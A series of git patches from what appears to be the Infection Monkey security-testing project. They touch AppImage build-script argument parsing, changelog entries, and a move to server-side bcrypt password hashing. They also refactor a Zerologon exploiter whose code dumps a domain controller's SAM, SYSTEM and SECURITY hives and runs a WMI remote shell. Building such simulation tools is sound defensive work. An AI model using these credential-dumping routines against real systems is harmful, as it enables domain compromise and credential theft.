;; --monkey-repo) if [ -n "$2" ] && [ "${2:0:1}" != "-" ]; then monkey_repo=$2 @@ -340,9 +340,9 @@ case "$1" in fi ;; -*) - echo "Error: Unsupported parameter $1" >&2 - exit 1 - ;; + echo "Error: Unsupported parameter $1" >&2 + exit 1 + ;; esac done From de9d750e3cc9e882f6a21c495a1f0fb6248803bf Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 30 Apr 2021 10:26:01 -0400 Subject: [PATCH 0339/1360] Add PR #1136 to the changelog --- CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 022fba9e46f..deea868b45a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -8,7 +8,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - PostgreSQL fingerprinter. #892 - A runtime-configurable option to specify a data directory where runtime configuration and other artifacts can be stored. #994 -- Scripts to build an AppImage for Monkey Island. #1069, #1090 +- Scripts to build an AppImage for Monkey Island. #1069, #1090, #1136 ### Changed - server_config.json can be selected at runtime. #963 From 684a6f8171df4fc3379143f03ad070cfad23babd Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 3 May 2021 07:45:10 -0400 Subject: [PATCH 0340/1360] appimage: Match any unknown parameters (not just flags) --- appimage/build_appimage.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/appimage/build_appimage.sh b/appimage/build_appimage.sh index 1244921f0a0..c7588e09773 100755 --- a/appimage/build_appimage.sh +++ b/appimage/build_appimage.sh @@ -339,7 +339,7 @@ case "$1" in missing_argument "$1" fi ;; - -*) + *) echo "Error: Unsupported parameter $1" >&2 exit 1 ;; From 998a14d248bd39110715e722fed57557518ea015 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 3 May 2021 09:28:40 -0400 Subject: [PATCH 0341/1360] appimage: reduce some duplication in argument parsing --- appimage/build_appimage.sh | 53 +++++++++++++++++--------------------- 1 file changed, 24 insertions(+), 29 deletions(-) diff --git a/appimage/build_appimage.sh b/appimage/build_appimage.sh index c7588e09773..0a258e01d1c 100755 --- a/appimage/build_appimage.sh +++ b/appimage/build_appimage.sh @@ -20,9 +20,11 @@ APP_TOOL_URL=https://github.com/AppImage/AppImageKit/releases/download/12/appima PYTHON_VERSION="3.7.10" PYTHON_APPIMAGE_URL="https://github.com/niess/python-appimage/releases/download/python3.7/python${PYTHON_VERSION}-cp37-cp37m-manylinux1_x86_64.AppImage" -missing_argument() { - echo "Error: Argument for $1 is missing" >&2 - exit 1 +exit_if_missing_argument() { + if [ -z "$2" ] || [ "${2:0:1}" == "-" ]; then + echo "Error: Argument for $1 is missing" >&2 + exit 1 + fi } echo_help() { @@ -292,52 +294,45 @@ apply_version_to_appimage() { mv "Infection_Monkey-x86_64.AppImage" "Infection_Monkey-$1-x86_64.AppImage" } +agent_binary_dir="" as_root=false +branch="develop" monkey_repo="$DEFAULT_REPO_MONKEY_HOME" monkey_version="dev" -agent_binary_dir="" -branch="develop" + while (( "$#" )); do case "$1" in --agent-binary-dir) - if [ -n "$2" ] && [ "${2:0:1}" != "-" ]; then - agent_binary_dir=$2 - shift 2 - else - missing_argument "$1" - fi + exit_if_missing_argument "$1" "$2" + + agent_binary_dir=$2 + shift 2 ;; --as-root) as_root=true shift ;; --branch) - if [ -n "$2" ] && [ "${2:0:1}" != "-" ]; then - branch=$2 - shift 2 - else - missing_argument "$1" - fi + exit_if_missing_argument "$1" "$2" + + branch=$2 + shift 2 ;; -h|--help) echo_help ;; --monkey-repo) - if [ -n "$2" ] && [ "${2:0:1}" != "-" ]; then - monkey_repo=$2 - shift 2 - else - missing_argument "$1" - fi + exit_if_missing_argument "$1" "$2" + + monkey_repo=$2 + shift 2 ;; --version) - if [ -n "$2" ] && [ "${2:0:1}" != "-" ]; then - monkey_version=$2 - shift 2 - else - missing_argument "$1" - fi + exit_if_missing_argument "$1" "$2" + + monkey_version=$2 + shift 2 ;; *) echo "Error: Unsupported parameter $1" >&2 From f475df7c9c5671f670f31046e647a7108fdaa7bc Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 3 May 2021 09:32:07 -0400 Subject: [PATCH 0342/1360] appimage: fix spacing in argument parsing --- appimage/build_appimage.sh | 72 +++++++++++++++++++------------------- 1 file changed, 36 insertions(+), 36 deletions(-) diff --git a/appimage/build_appimage.sh b/appimage/build_appimage.sh index 0a258e01d1c..866ba5a19c7 100755 --- a/appimage/build_appimage.sh +++ b/appimage/build_appimage.sh @@ -302,42 +302,42 @@ monkey_version="dev" while (( "$#" )); do -case "$1" in - --agent-binary-dir) - exit_if_missing_argument "$1" "$2" - - agent_binary_dir=$2 - shift 2 - ;; - --as-root) - as_root=true - shift - ;; - --branch) - exit_if_missing_argument "$1" "$2" - - branch=$2 - shift 2 - ;; - -h|--help) - echo_help - ;; - --monkey-repo) - exit_if_missing_argument "$1" "$2" - - monkey_repo=$2 - shift 2 - ;; - --version) - exit_if_missing_argument "$1" "$2" - - monkey_version=$2 - shift 2 - ;; - *) - echo "Error: Unsupported parameter $1" >&2 - exit 1 - ;; + case "$1" in + --agent-binary-dir) + exit_if_missing_argument "$1" "$2" + + agent_binary_dir=$2 + shift 2 + ;; + --as-root) + as_root=true + shift + ;; + --branch) + exit_if_missing_argument "$1" "$2" + + branch=$2 + shift 2 + ;; + -h|--help) + echo_help + ;; + --monkey-repo) + exit_if_missing_argument "$1" "$2" + + monkey_repo=$2 + shift 2 + ;; + --version) + exit_if_missing_argument "$1" "$2" + + monkey_version=$2 + shift 2 + ;; + *) + echo "Error: Unsupported parameter $1" >&2 + exit 1 + ;; esac done From 9363cadb095a769c70fa75d791ddd1f3743b2da5 Mon Sep 17 00:00:00 2001 From: PrajwalM2212 Date: Sat, 20 Feb 2021 12:17:05 -0800 Subject: [PATCH 0343/1360] Add functionality to hash passwords on server side --- .../cc/environment/user_creds.py | 5 +++-- .../monkey_island/cc/resources/auth/auth.py | 10 ++++++---- .../cc/ui/src/services/AuthService.js | 20 ++++--------------- 3 files changed, 13 insertions(+), 22 deletions(-) diff --git a/monkey/monkey_island/cc/environment/user_creds.py b/monkey/monkey_island/cc/environment/user_creds.py index 98a23a14a08..a5c905f701a 100644 --- a/monkey/monkey_island/cc/environment/user_creds.py +++ b/monkey/monkey_island/cc/environment/user_creds.py @@ -1,6 +1,7 @@ from __future__ import annotations import json +from hashlib import sha3_512 from typing import Dict from monkey_island.cc.resources.auth.auth_user import User @@ -30,8 +31,8 @@ def get_from_dict(data_dict: Dict) -> UserCreds: creds = UserCreds() if "user" in data_dict: creds.username = data_dict["user"] - if "password_hash" in data_dict: - creds.password_hash = data_dict["password_hash"] + if "password" in data_dict: + creds.password_hash = sha3_512(data_dict["password"].encode("utf-8")).hexdigest() return creds @staticmethod diff --git a/monkey/monkey_island/cc/resources/auth/auth.py b/monkey/monkey_island/cc/resources/auth/auth.py index 29d2d9e899f..597c73d6028 100644 --- a/monkey/monkey_island/cc/resources/auth/auth.py +++ b/monkey/monkey_island/cc/resources/auth/auth.py @@ -1,6 +1,7 @@ import json import logging from functools import wraps +from hashlib import sha3_512 import flask_jwt_extended import flask_restful @@ -25,7 +26,7 @@ def init_jwt(app): class Authenticate(flask_restful.Resource): """ - Resource for user authentication. The user provides the username and hashed password and we + Resource for user authentication. The user provides the username and password and we give them a JWT. See `AuthService.js` file for the frontend counterpart for this code. """ @@ -33,7 +34,7 @@ class Authenticate(flask_restful.Resource): @staticmethod def _authenticate(username, secret): user = user_store.UserStore.username_table.get(username, None) - if user and safe_str_cmp(user.secret.encode("utf-8"), secret.encode("utf-8")): + if user and safe_str_cmp(user.secret, secret): return user def post(self): @@ -41,13 +42,14 @@ def post(self): Example request: { "username": "my_user", - "password": "343bb87e553b05430e5c44baf99569d4b66..." + "password": "mypassword...." } """ credentials = json.loads(request.data) # Unpack auth info from request username = credentials["username"] - secret = credentials["password"] + password = credentials["password"] + secret = sha3_512(password.encode("utf-8")).hexdigest() # If the user and password have been previously registered if self._authenticate(username, secret): access_token = flask_jwt_extended.create_access_token( diff --git a/monkey/monkey_island/cc/ui/src/services/AuthService.js b/monkey/monkey_island/cc/ui/src/services/AuthService.js index 52658f5a935..27a8100bdf8 100644 --- a/monkey/monkey_island/cc/ui/src/services/AuthService.js +++ b/monkey/monkey_island/cc/ui/src/services/AuthService.js @@ -2,17 +2,14 @@ import {SHA3} from 'sha3'; import decode from 'jwt-decode'; export default class AuthService { - // SHA3-512 of '1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()' - NO_AUTH_CREDS = - '55e97c9dcfd22b8079189ddaeea9bce8125887e3237b800c6176c9afa80d2062' + - '8d2c8d0b1538d2208c1444ac66535b764a3d902b35e751df3faec1e477ed3557'; + NO_AUTH_CREDS = 'loginwithoutpassword'; SECONDS_BEFORE_JWT_EXPIRES = 20; AUTHENTICATION_API_ENDPOINT = '/api/auth'; REGISTRATION_API_ENDPOINT = '/api/registration'; login = (username, password) => { - return this._login(username, this.hashSha3(password)); + return this._login(username, password); }; authFetch = (url, options) => { @@ -25,12 +22,6 @@ export default class AuthService { } }; - hashSha3(text) { - let hash = new SHA3(512); - hash.update(text); - return this._toHexStr(hash.digest()); - } - _login = (username, password) => { return this._authFetch(this.AUTHENTICATION_API_ENDPOINT, { method: 'POST', @@ -52,7 +43,7 @@ export default class AuthService { register = (username, password) => { if (password !== '') { - return this._register(username, this.hashSha3(password)); + return this._register(username, password); } else { return this._register(username, password); } @@ -63,7 +54,7 @@ export default class AuthService { method: 'POST', body: JSON.stringify({ 'user': username, - 'password_hash': password + 'password': password }) }).then(res => { if (res.status === 200) { @@ -156,7 +147,4 @@ export default class AuthService { return localStorage.getItem('jwt') } - _toHexStr(byteArr) { - return byteArr.reduce((acc, x) => (acc + ('0' + x.toString(0x10)).slice(-2)), ''); - } } From 2ee6315bb8f8ca683fdd8ad72edebe6579f53fba Mon Sep 17 00:00:00 2001 From: PrajwalM2212 Date: Sat, 20 Feb 2021 13:09:10 -0800 Subject: [PATCH 0344/1360] Changes --- monkey/monkey_island/cc/resources/auth/auth.py | 2 +- monkey/monkey_island/cc/ui/src/services/AuthService.js | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/resources/auth/auth.py b/monkey/monkey_island/cc/resources/auth/auth.py index 597c73d6028..43cbf3b0e72 100644 --- a/monkey/monkey_island/cc/resources/auth/auth.py +++ b/monkey/monkey_island/cc/resources/auth/auth.py @@ -34,7 +34,7 @@ class Authenticate(flask_restful.Resource): @staticmethod def _authenticate(username, secret): user = user_store.UserStore.username_table.get(username, None) - if user and safe_str_cmp(user.secret, secret): + if user and safe_str_cmp(user.secret.encode('utf-8'), secret.encode('utf-8')): return user def post(self): diff --git a/monkey/monkey_island/cc/ui/src/services/AuthService.js b/monkey/monkey_island/cc/ui/src/services/AuthService.js index 27a8100bdf8..7a99ba819c8 100644 --- a/monkey/monkey_island/cc/ui/src/services/AuthService.js +++ b/monkey/monkey_island/cc/ui/src/services/AuthService.js @@ -2,7 +2,7 @@ import {SHA3} from 'sha3'; import decode from 'jwt-decode'; export default class AuthService { - NO_AUTH_CREDS = 'loginwithoutpassword'; + NO_AUTH_CREDS = '1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()'; SECONDS_BEFORE_JWT_EXPIRES = 20; AUTHENTICATION_API_ENDPOINT = '/api/auth'; From b5236d14c924b68cc7c300754d85366ee91cdf7c Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 3 May 2021 19:29:58 +0530 Subject: [PATCH 0345/1360] Use bcrypt for password hashing for authentication --- monkey/monkey_island/cc/environment/user_creds.py | 7 +++++-- monkey/monkey_island/cc/resources/auth/auth.py | 12 +++++------- 2 files changed, 10 insertions(+), 9 deletions(-) diff --git a/monkey/monkey_island/cc/environment/user_creds.py b/monkey/monkey_island/cc/environment/user_creds.py index a5c905f701a..fac911cdd31 100644 --- a/monkey/monkey_island/cc/environment/user_creds.py +++ b/monkey/monkey_island/cc/environment/user_creds.py @@ -1,9 +1,10 @@ from __future__ import annotations import json -from hashlib import sha3_512 from typing import Dict +import bcrypt + from monkey_island.cc.resources.auth.auth_user import User @@ -32,7 +33,9 @@ def get_from_dict(data_dict: Dict) -> UserCreds: if "user" in data_dict: creds.username = data_dict["user"] if "password" in data_dict: - creds.password_hash = sha3_512(data_dict["password"].encode("utf-8")).hexdigest() + creds.password_hash = bcrypt.hashpw( + data_dict["password"].encode("utf-8"), bcrypt.gensalt() + ) return creds @staticmethod diff --git a/monkey/monkey_island/cc/resources/auth/auth.py b/monkey/monkey_island/cc/resources/auth/auth.py index 43cbf3b0e72..b6221c417c5 100644 --- a/monkey/monkey_island/cc/resources/auth/auth.py +++ b/monkey/monkey_island/cc/resources/auth/auth.py @@ -1,14 +1,13 @@ import json import logging from functools import wraps -from hashlib import sha3_512 +import bcrypt import flask_jwt_extended import flask_restful from flask import make_response, request from flask_jwt_extended.exceptions import JWTExtendedException from jwt import PyJWTError -from werkzeug.security import safe_str_cmp import monkey_island.cc.environment.environment_singleton as env_singleton import monkey_island.cc.resources.auth.user_store as user_store @@ -32,9 +31,9 @@ class Authenticate(flask_restful.Resource): """ @staticmethod - def _authenticate(username, secret): + def _authenticate(username, password): user = user_store.UserStore.username_table.get(username, None) - if user and safe_str_cmp(user.secret.encode('utf-8'), secret.encode('utf-8')): + if user and bcrypt.checkpw(password.encode("utf-8"), user.secret.encode("utf-8")): return user def post(self): @@ -42,16 +41,15 @@ def post(self): Example request: { "username": "my_user", - "password": "mypassword...." + "password": "my_password" } """ credentials = json.loads(request.data) # Unpack auth info from request username = credentials["username"] password = credentials["password"] - secret = sha3_512(password.encode("utf-8")).hexdigest() # If the user and password have been previously registered - if self._authenticate(username, secret): + if self._authenticate(username, password): access_token = flask_jwt_extended.create_access_token( identity=user_store.UserStore.username_table[username].id ) From 09a37292b585e758c93d9b56f4b2ee1f272e7097 Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 3 May 2021 19:32:08 +0530 Subject: [PATCH 0346/1360] Remove unused import and repeated code in monkey_island/cc/ui/src/services/AuthService.js --- monkey/monkey_island/cc/ui/src/services/AuthService.js | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/services/AuthService.js b/monkey/monkey_island/cc/ui/src/services/AuthService.js index 7a99ba819c8..d7d1b9c2fb1 100644 --- a/monkey/monkey_island/cc/ui/src/services/AuthService.js +++ b/monkey/monkey_island/cc/ui/src/services/AuthService.js @@ -1,4 +1,3 @@ -import {SHA3} from 'sha3'; import decode from 'jwt-decode'; export default class AuthService { @@ -42,11 +41,7 @@ export default class AuthService { }; register = (username, password) => { - if (password !== '') { - return this._register(username, password); - } else { - return this._register(username, password); - } + return this._register(username, password); }; _register = (username, password) => { From b5d05a1a7844ad365ff1c82744da2ab2ebefd6bd Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 3 May 2021 19:35:10 +0530 Subject: [PATCH 0347/1360] Add bcrypt to monkey_island/Pipfile and monkey_island/Pipfile.lock --- monkey/monkey_island/Pipfile | 1 + monkey/monkey_island/Pipfile.lock | 15 ++++++++++++++- 2 files changed, 15 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/Pipfile b/monkey/monkey_island/Pipfile index 70c0f304ccf..65eeaae4bc0 100644 --- a/monkey/monkey_island/Pipfile +++ b/monkey/monkey_island/Pipfile @@ -6,6 +6,7 @@ name = "pypi" [packages] pyinstaller = "==3.6" awscli = "==1.18.131" +bcrypt = "==3.2.0" boto3 = "==1.14.54" botocore = "==1.17.54" cffi = ">=1.8,!=1.11.3" diff --git a/monkey/monkey_island/Pipfile.lock b/monkey/monkey_island/Pipfile.lock index 55f5e4502ad..46479e64326 100644 --- a/monkey/monkey_island/Pipfile.lock +++ b/monkey/monkey_island/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "4fdfe90af14139cf855a0363ad0acbe7fb307b35b038e2c099c4d1227322a13b" + "sha256": "3057235b1e85593ee307d9e5a2e0d15e26f13437bb709529303c7c900d3c7b41" }, "pipfile-spec": 6, "requires": { @@ -60,6 +60,19 @@ "index": "pypi", "version": "==1.18.131" }, + "bcrypt": { + "hashes": [ + "sha256:5b93c1726e50a93a033c36e5ca7fdcd29a5c7395af50a6892f5d9e7c6cfbfb29", + "sha256:63d4e3ff96188e5898779b6057878fecf3f11cfe6ec3b313ea09955d587ec7a7", + "sha256:81fec756feff5b6818ea7ab031205e1d323d8943d237303baca2c5f9c7846f34", + "sha256:a67fb841b35c28a59cebed05fbd3e80eea26e6d75851f0574a9273c80f3e9b55", + "sha256:c95d4cbebffafcdd28bd28bb4e25b31c50f6da605c81ffd9ad8a3d1b2ab7b1b6", + "sha256:cd1ea2ff3038509ea95f687256c46b79f5fc382ad0aa3664d200047546d511d1", + "sha256:cdcdcb3972027f83fe24a48b1e90ea4b584d35f1cc279d76de6fc4b13376239d" + ], + "index": "pypi", + "version": "==3.2.0" + }, "boto3": { "hashes": [ "sha256:4196b418598851ffd10cf9d1606694673cbfeca4ddf8b25d4e50addbd2fc60bf", From d2083149ddd5bb7d009afff38b2cc23f87e677fe Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 3 May 2021 20:08:11 +0530 Subject: [PATCH 0348/1360] Convert hashed pwd to string before storing in server_config.json --- monkey/monkey_island/cc/environment/user_creds.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/environment/user_creds.py b/monkey/monkey_island/cc/environment/user_creds.py index fac911cdd31..1574f6e8ec6 100644 --- a/monkey/monkey_island/cc/environment/user_creds.py +++ b/monkey/monkey_island/cc/environment/user_creds.py @@ -35,7 +35,7 @@ def get_from_dict(data_dict: Dict) -> UserCreds: if "password" in data_dict: creds.password_hash = bcrypt.hashpw( data_dict["password"].encode("utf-8"), bcrypt.gensalt() - ) + ).decode() return creds @staticmethod From 02f3b15c6413b147b7a11ce79fe3b875cea9e4ed Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 3 May 2021 23:28:55 +0530 Subject: [PATCH 0349/1360] Split `get_from_dict()` into 2 functions as per usage --- .../cc/environment/environment_config.py | 2 +- monkey/monkey_island/cc/environment/user_creds.py | 13 +++++++++++-- 2 files changed, 12 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/environment/environment_config.py b/monkey/monkey_island/cc/environment/environment_config.py index 70d27e54673..183d1093270 100644 --- a/monkey/monkey_island/cc/environment/environment_config.py +++ b/monkey/monkey_island/cc/environment/environment_config.py @@ -38,7 +38,7 @@ def _load_from_json(self, config_json: str) -> EnvironmentConfig: self._load_from_dict(data) def _load_from_dict(self, dict_data: Dict): - user_creds = UserCreds.get_from_dict(dict_data) + user_creds = UserCreds.get_from_dict_server_config(dict_data) aws = dict_data["aws"] if "aws" in dict_data else None data_dir = dict_data["data_dir"] if "data_dir" in dict_data else DEFAULT_DATA_DIR diff --git a/monkey/monkey_island/cc/environment/user_creds.py b/monkey/monkey_island/cc/environment/user_creds.py index 1574f6e8ec6..38508331198 100644 --- a/monkey/monkey_island/cc/environment/user_creds.py +++ b/monkey/monkey_island/cc/environment/user_creds.py @@ -28,7 +28,7 @@ def to_auth_user(self) -> User: return User(1, self.username, self.password_hash) @staticmethod - def get_from_dict(data_dict: Dict) -> UserCreds: + def get_from_dict_new_registration(data_dict: Dict) -> UserCreds: creds = UserCreds() if "user" in data_dict: creds.username = data_dict["user"] @@ -38,7 +38,16 @@ def get_from_dict(data_dict: Dict) -> UserCreds: ).decode() return creds + @staticmethod + def get_from_dict_server_config(data_dict: Dict) -> UserCreds: + creds = UserCreds() + if "user" in data_dict: + creds.username = data_dict["user"] + if "password_hash" in data_dict: + creds.password_hash = data_dict["password_hash"] + return creds + @staticmethod def get_from_json(json_data: bytes) -> UserCreds: cred_dict = json.loads(json_data) - return UserCreds.get_from_dict(cred_dict) + return UserCreds.get_from_dict_new_registration(cred_dict) From 9c1096daa1f3b67019f3a782dec2ef266c2f5978 Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 3 May 2021 23:49:44 +0530 Subject: [PATCH 0350/1360] Add CHANGELOG entry for bcrypt work --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 5bf4916e68e..20fb693f920 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -24,6 +24,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). collection time. #1102 - Changed default BB test suite: if `--run-performance-tests` flag is not specified, performance tests are skipped. +- Authentication mechanism to use bcrypt on server side. #1139 ### Fixed - Attempted to delete a directory when monkey config reset was called. #1054 From 85b079c1ab4fcdbf3ee10952f430d062924d7e90 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 4 May 2021 06:47:43 -0400 Subject: [PATCH 0351/1360] agent: Create a temporary directory for zerologon artifacts Not all users are guaranteed to have a $HOME. Use a temporary directory instead. --- monkey/infection_monkey/exploit/zerologon.py | 19 ++++++++++++++----- .../exploit/zerologon_utils/remote_shell.py | 5 +++-- .../exploit/zerologon_utils/wmiexec.py | 7 +++++-- 3 files changed, 22 insertions(+), 9 deletions(-) diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index 232436cdfbb..019bf829190 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -7,6 +7,7 @@ import logging import os import re +import tempfile from binascii import unhexlify from typing import Dict, List, Optional, Tuple @@ -39,6 +40,10 @@ def __init__(self, host: object): self.exploit_info["credentials"] = {} self.exploit_info["password_restored"] = None self._extracted_creds = {} + self._secrets_dir = tempfile.TemporaryDirectory(prefix="zerologon") + + def __del__(self): + self._secrets_dir.cleanup() def _exploit_host(self) -> bool: self.dc_ip, self.dc_name, self.dc_handle = get_dc_details(self.host) @@ -302,9 +307,9 @@ def get_original_pwd_nthash(self, username: str, user_pwd_hashes: List[str]) -> options = OptionsForSecretsdump( dc_ip=self.dc_ip, just_dc=False, - system=os.path.join(os.path.expanduser("~"), "monkey-system.save"), - sam=os.path.join(os.path.expanduser("~"), "monkey-sam.save"), - security=os.path.join(os.path.expanduser("~"), "monkey-security.save"), + system=os.path.join(self._secrets_dir.name, "monkey-system.save"), + sam=os.path.join(self._secrets_dir.name, "monkey-sam.save"), + security=os.path.join(self._secrets_dir.name, "monkey-security.save"), ) dumped_secrets = self.get_dumped_secrets(remote_name="LOCAL", options=options) @@ -331,7 +336,11 @@ def save_HKLM_keys_locally(self, username: str, user_pwd_hashes: List[str]) -> b ) wmiexec = Wmiexec( - ip=self.dc_ip, username=username, hashes=":".join(user_pwd_hashes), domain=self.dc_ip + ip=self.dc_ip, + username=username, + hashes=":".join(user_pwd_hashes), + domain=self.dc_ip, + secrets_dir=self._secrets_dir, ) remote_shell = wmiexec.get_remote_shell() @@ -372,7 +381,7 @@ def save_HKLM_keys_locally(self, username: str, user_pwd_hashes: List[str]) -> b def remove_locally_saved_HKLM_keys(self) -> None: for name in ["system", "sam", "security"]: - path = os.path.join(os.path.expanduser("~"), f"monkey-{name}.save") + path = os.path.join(self._secrets_dir.name, f"monkey-{name}.save") try: os.remove(path) except Exception as e: diff --git a/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py b/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py index 3097610fb97..15429eb4a1e 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py @@ -58,7 +58,7 @@ class RemoteShell(cmd.Cmd): CODEC = sys.stdout.encoding - def __init__(self, share, win32Process, smbConnection, outputFilename): + def __init__(self, share, win32Process, smbConnection, outputFilename, secrets_dir): cmd.Cmd.__init__(self) self.__share = share self.__output = "\\" + outputFilename @@ -68,6 +68,7 @@ def __init__(self, share, win32Process, smbConnection, outputFilename): self.__transferClient = smbConnection self.__pwd = str("C:\\") self.__noOutput = False + self.__secrets_dir = secrets_dir # We don't wanna deal with timeouts from now on. if self.__transferClient is not None: @@ -83,7 +84,7 @@ def do_get(self, src_path): newPath = ntpath.normpath(ntpath.join(self.__pwd, src_path)) drive, tail = ntpath.splitdrive(newPath) filename = ntpath.basename(tail) - local_file_path = os.path.join(os.path.expanduser("~"), "monkey-" + filename) + local_file_path = os.path.join(self.__secrets_dir.name, "monkey-" + filename) fh = open(local_file_path, "wb") LOG.info("Downloading %s\\%s" % (drive, tail)) self.__transferClient.getFile(drive[:-1] + "$", tail, fh.write) diff --git a/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py b/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py index 2486998e4a3..70f3d5a0788 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py @@ -61,13 +61,16 @@ class Wmiexec: OUTPUT_FILENAME = "__" + str(time.time()) - def __init__(self, ip, username, hashes, password="", domain="", share="ADMIN$"): + def __init__( + self, ip, username, hashes, password="", domain="", share="ADMIN$", secrets_dir=None + ): self.__ip = ip self.__username = username self.__password = password self.__domain = domain self.__lmhash, self.__nthash = hashes.split(":") self.__share = share + self.__secrets_dir = secrets_dir self.shell = None def connect(self): @@ -107,7 +110,7 @@ def get_remote_shell(self): self.connect() win32Process, _ = self.iWbemServices.GetObject("Win32_Process") self.shell = RemoteShell( - self.__share, win32Process, self.smbConnection, self.OUTPUT_FILENAME + self.__share, win32Process, self.smbConnection, self.OUTPUT_FILENAME, self.__secrets_dir ) return self.shell From 93bb14f7bffd60f16d0a70a921bd28d68f70e060 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 4 May 2021 08:36:22 -0400 Subject: [PATCH 0352/1360] agent: Update changelog with zerologon tmp directory item --- CHANGELOG.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 5bf4916e68e..41fdb69f2d8 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -24,6 +24,8 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). collection time. #1102 - Changed default BB test suite: if `--run-performance-tests` flag is not specified, performance tests are skipped. +- Zerologon exploiter writes runtime artifacts to a secure temporary directory + instead of $HOME. #1143 ### Fixed - Attempted to delete a directory when monkey config reset was called. #1054 From 7684a2dcf8470da546fa557cdac3fc69408ebd74 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 4 May 2021 11:58:58 -0400 Subject: [PATCH 0353/1360] island: Make return values of Authenticate._authenticate() explicit --- monkey/monkey_island/cc/resources/auth/auth.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/resources/auth/auth.py b/monkey/monkey_island/cc/resources/auth/auth.py index b6221c417c5..0d1ac3d305f 100644 --- a/monkey/monkey_island/cc/resources/auth/auth.py +++ b/monkey/monkey_island/cc/resources/auth/auth.py @@ -34,7 +34,9 @@ class Authenticate(flask_restful.Resource): def _authenticate(username, password): user = user_store.UserStore.username_table.get(username, None) if user and bcrypt.checkpw(password.encode("utf-8"), user.secret.encode("utf-8")): - return user + return True + + return False def post(self): """ From 83f7f04929c17bb9631afa60b17e438011d36204 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 4 May 2021 12:00:10 -0400 Subject: [PATCH 0354/1360] island: Change order of methods in Authenticate to follow stepdown rule --- monkey/monkey_island/cc/resources/auth/auth.py | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/monkey/monkey_island/cc/resources/auth/auth.py b/monkey/monkey_island/cc/resources/auth/auth.py index 0d1ac3d305f..4fd9b66a07b 100644 --- a/monkey/monkey_island/cc/resources/auth/auth.py +++ b/monkey/monkey_island/cc/resources/auth/auth.py @@ -30,14 +30,6 @@ class Authenticate(flask_restful.Resource): See `AuthService.js` file for the frontend counterpart for this code. """ - @staticmethod - def _authenticate(username, password): - user = user_store.UserStore.username_table.get(username, None) - if user and bcrypt.checkpw(password.encode("utf-8"), user.secret.encode("utf-8")): - return True - - return False - def post(self): """ Example request: @@ -62,6 +54,14 @@ def post(self): else: return make_response({"error": "Invalid credentials"}, 401) + @staticmethod + def _authenticate(username, password): + user = user_store.UserStore.username_table.get(username, None) + if user and bcrypt.checkpw(password.encode("utf-8"), user.secret.encode("utf-8")): + return True + + return False + # See https://flask-jwt-extended.readthedocs.io/en/stable/custom_decorators/ def jwt_required(fn): From 39c274c4d91d9f7af28a5b43847b17c8f1470329 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 4 May 2021 12:03:33 -0400 Subject: [PATCH 0355/1360] island: Extract method get_credentials_from_request() from post() --- monkey/monkey_island/cc/resources/auth/auth.py | 15 +++++++++++---- 1 file changed, 11 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/resources/auth/auth.py b/monkey/monkey_island/cc/resources/auth/auth.py index 4fd9b66a07b..0137b5b36ba 100644 --- a/monkey/monkey_island/cc/resources/auth/auth.py +++ b/monkey/monkey_island/cc/resources/auth/auth.py @@ -38,10 +38,8 @@ def post(self): "password": "my_password" } """ - credentials = json.loads(request.data) - # Unpack auth info from request - username = credentials["username"] - password = credentials["password"] + + (username, password) = Authenticate._get_credentials_from_request(request) # If the user and password have been previously registered if self._authenticate(username, password): access_token = flask_jwt_extended.create_access_token( @@ -54,6 